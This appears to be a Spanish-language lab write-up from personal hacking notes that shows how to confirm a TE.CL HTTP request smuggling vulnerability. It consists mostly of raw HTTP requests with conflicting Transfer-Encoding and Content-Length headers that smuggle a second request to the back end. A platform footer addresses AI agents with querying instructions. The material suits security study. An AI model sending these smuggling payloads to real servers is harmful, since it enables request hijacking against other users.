> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/te-cl-vulnerability-confirmation-via-differential-responses.md).

# Confirmación de vulnerabilidad TE.CL mediante respuestas diferenciales

### HTTP Request Smuggling, confirmación de una vulnerabilidad TE.CL mediante respuestas diferenciales

El **front-end** el servidor acepta codificación fragmentada, mientras que el **back-end** no la admite. / El objetivo es inyectar una consulta enmascarada al servidor interno y luego enviar una solicitud a **/** para provocar una respuesta **404 No encontrado**, confirmando así la desincronización.

Aunque la aplicación permite el uso de HTTP/2, la técnica explotable se basa exclusivamente en comportamientos específicos de **HTTP/1**, lo que requiere cambiar manualmente el protocolo en Burp Repeater.

#### **Principio de TE.CL**

Para probar la presencia de una vulnerabilidad **TE.CL**, se manipulan los campos vinculados a la longitud. / Al definir voluntariamente un **Content-Length mayor** que el tamaño real del cuerpo, se fuerza un desplazamiento interpretado de forma diferente por ambos servidores. / Por ejemplo, un cuerpo fragmentado de 13 bytes puede declararse como:

```http
Content-Length: 15

3
abc
0


```

Esto es suficiente para causar desincronización.

<figure><img src="/files/c6a172a4b281d8118c515078b01adc2b0414b0d5" alt=""><figcaption></figcaption></figure>

#### **Codificación hexadecimal de fragmentos**

El siguiente tamaño de fragmento debe calcularse en hexadecimal:

```http
POST /error HTTP/1.1
Prueba: A
```

<figure><img src="/files/4ead912f95a6039dcc409a581fc609f10a6f936c" alt=""><figcaption></figcaption></figure>

Un primer intento consiste en enviar solo el tamaño del fragmento (4 bytes):

```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

1d
POST /error HTTP/1.1
Prueba: A
0


```

Sin embargo, esta versión no es tratada como dos solicitudes separadas por los servidores, lo que impide un funcionamiento correcto.

Para lograr un comportamiento fiable, el backend debe interpretar la solicitud inyectada como una solicitud HTTP válida. / El campo **Content-Length** se "infla" al enviar un fragmento más grande:

```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

38
POST /error HTTP/1.1
Content-Length: 20

testing=test
0


```

Al enviar esta solicitud **en dos ocasiones**, se produce desincronización y el ataque funciona como se esperaba.

<figure><img src="/files/3b0b9b71bf964d8d5a9b78a59f48c10597d2928a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/te-cl-vulnerability-confirmation-via-differential-responses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
